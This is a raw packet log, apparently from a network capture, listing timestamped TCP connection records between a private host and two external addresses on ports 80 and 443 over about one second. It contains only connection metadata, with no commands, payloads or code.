Nov 18, 2024 00:27:26.562372923 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.562385082 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.562396049 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.562418938 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.562453985 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.563236952 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.563247919 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.563298941 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.563309908 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.563345909 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.563357115 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.563375950 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.563385010 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.563395023 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.563405991 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.563407898 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.563430071 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.563455105 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.603688955 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.603719950 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.603730917 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.603835106 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.603889942 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.603899002 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.603945017 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.672302008 CET	443	49760	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:26.676573038 CET	49760	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:26.676595926 CET	443	49760	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:26.677476883 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.677501917 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.677540064 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.677573919 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.677721977 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.677732944 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.677767038 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.677846909 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.677858114 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.677869081 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.677872896 CET	49760	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:26.677879095 CET	443	49760	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:26.677896976 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.677908897 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.678667068 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.678692102 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.678704023 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.678721905 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.678745031 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.678755999 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.678781986 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.678792953 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.678806067 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.678843975 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.679342031 CET	443	49759	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:26.681999922 CET	49759	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:26.682022095 CET	443	49759	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:26.683195114 CET	49759	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:26.683201075 CET	443	49759	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:26.719263077 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.719347954 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.719403028 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.719415903 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.719425917 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.719438076 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.719466925 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.719506979 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.719506979 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.792536974 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.792552948 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.792625904 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.793076038 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.793107986 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.793122053 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.793131113 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.793170929 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.794029951 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.794043064 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.794055939 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.794097900 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.794125080 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.794282913 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.794295073 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.794306040 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.794342995 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.794368982 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.794567108 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.794578075 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.794624090 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.794764042 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.794775963 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.794823885 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.803383112 CET	443	49760	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:26.803492069 CET	443	49760	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:26.803560019 CET	49760	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:26.803821087 CET	49760	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:26.803857088 CET	443	49760	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:26.803884983 CET	49760	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:26.803900003 CET	443	49760	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:26.807648897 CET	49763	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:26.807749033 CET	443	49763	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:26.807845116 CET	49763	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:26.808064938 CET	49763	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:26.808100939 CET	443	49763	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:26.824521065 CET	443	49759	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:26.824683905 CET	443	49759	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:26.824757099 CET	49759	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:26.828560114 CET	49759	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:26.828607082 CET	443	49759	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:26.828636885 CET	49759	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:26.828653097 CET	443	49759	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:26.829854012 CET	443	49758	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:26.829936981 CET	443	49758	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:26.830041885 CET	49758	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:26.830243111 CET	49758	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:26.830255032 CET	443	49758	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:26.830265045 CET	49758	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:26.830270052 CET	443	49758	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:26.833185911 CET	49764	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:26.833235025 CET	443	49764	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:26.833307981 CET	49764	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:26.833503008 CET	49764	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:26.833518982 CET	443	49764	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:26.834753990 CET	49765	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:26.834769964 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.834789991 CET	443	49765	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:26.834794044 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.834810019 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.834822893 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.834845066 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.834923983 CET	49765	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:26.834949017 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.835025072 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.835025072 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.835397959 CET	49765	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:26.835411072 CET	443	49765	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:26.908010006 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.908027887 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.908169985 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.908471107 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.908483982 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.908524990 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.908557892 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.909395933 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.909424067 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.909435987 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.909454107 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.909488916 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.909488916 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.909584999 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.909598112 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.909610033 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.909636021 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.909658909 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.909943104 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.909953117 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.909998894 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.910146952 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.910160065 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.910170078 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.910197973 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.910243988 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.950052977 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.950109005 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.950124025 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.950146914 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.950164080 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.950180054 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:26.950269938 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.950270891 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.950319052 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:26.964217901 CET	443	49761	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:26.969826937 CET	49761	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:26.969865084 CET	443	49761	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:26.972978115 CET	49761	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:26.972991943 CET	443	49761	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:26.980467081 CET	443	49762	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:26.985852957 CET	49762	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:26.985877037 CET	443	49762	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:26.987416029 CET	49762	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:26.987422943 CET	443	49762	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:27.023309946 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.023361921 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.023376942 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.023392916 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.023438931 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.023530006 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.024816990 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.024833918 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.024848938 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.024866104 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.024883032 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.024931908 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.024931908 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.025188923 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.025203943 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.025219917 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.025306940 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.025423050 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.025515079 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.025527954 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.025574923 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.025605917 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.065294027 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.065321922 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.065433025 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.065504074 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.065520048 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.065535069 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.065551043 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.065561056 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.065577030 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.065599918 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.065627098 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.100488901 CET	443	49761	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:27.100641012 CET	443	49761	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:27.100755930 CET	49761	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:27.101010084 CET	49761	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:27.101042986 CET	443	49761	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:27.101085901 CET	49761	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:27.101102114 CET	443	49761	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:27.104461908 CET	49766	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:27.104499102 CET	443	49766	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:27.104585886 CET	49766	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:27.104769945 CET	49766	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:27.104789019 CET	443	49766	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:27.111049891 CET	443	49762	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:27.111161947 CET	443	49762	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:27.111243963 CET	49762	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:27.111352921 CET	49762	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:27.111352921 CET	49762	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:27.111383915 CET	443	49762	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:27.111407995 CET	443	49762	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:27.113681078 CET	49767	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:27.113718033 CET	443	49767	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:27.113796949 CET	49767	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:27.114006042 CET	49767	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:27.114027977 CET	443	49767	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:27.139487028 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.139503002 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.139626026 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.141097069 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.141155958 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.141263962 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.141280890 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.141294956 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.141335964 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.141438007 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.141453028 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.141472101 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.141483068 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.141486883 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.141509056 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.141513109 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.141549110 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.141573906 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.141576052 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.141639948 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.181432009 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.181446075 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.181586027 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.181598902 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.181689024 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.181689024 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.181689024 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.181751966 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.181766987 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.181776047 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.181788921 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.181806087 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.181816101 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.181855917 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.255415916 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.255434036 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.255676031 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.256392002 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.256405115 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.256419897 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.256434917 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.256450891 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.256478071 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.256695986 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.256711960 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.256727934 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.256743908 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.256774902 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.257157087 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.257174015 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.257189035 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.257211924 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.257224083 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.257489920 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.257503986 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.257519007 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.257534027 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.257549047 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.257559061 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.296838999 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.296950102 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.296963930 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.296976089 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.297022104 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.297022104 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.297034979 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.297070026 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.297070026 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.297071934 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.297103882 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.297596931 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.297611952 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.297627926 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.297660112 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.297660112 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.297697067 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.297755957 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.297801971 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.369582891 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.369596004 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.369749069 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.370987892 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.371004105 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.371049881 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.371108055 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.371130943 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.371145010 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.371155024 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.371159077 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.371176004 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.371181965 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.371208906 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.371901989 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.371915102 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.371929884 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.371942997 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.371948004 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.371964931 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.371984959 CET	49741	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:27.411432028 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.411443949 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.411551952 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.411564112 CET	80	49741	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:27.411576986 CET	80	49741	185.215.113.206	192.168.2.6
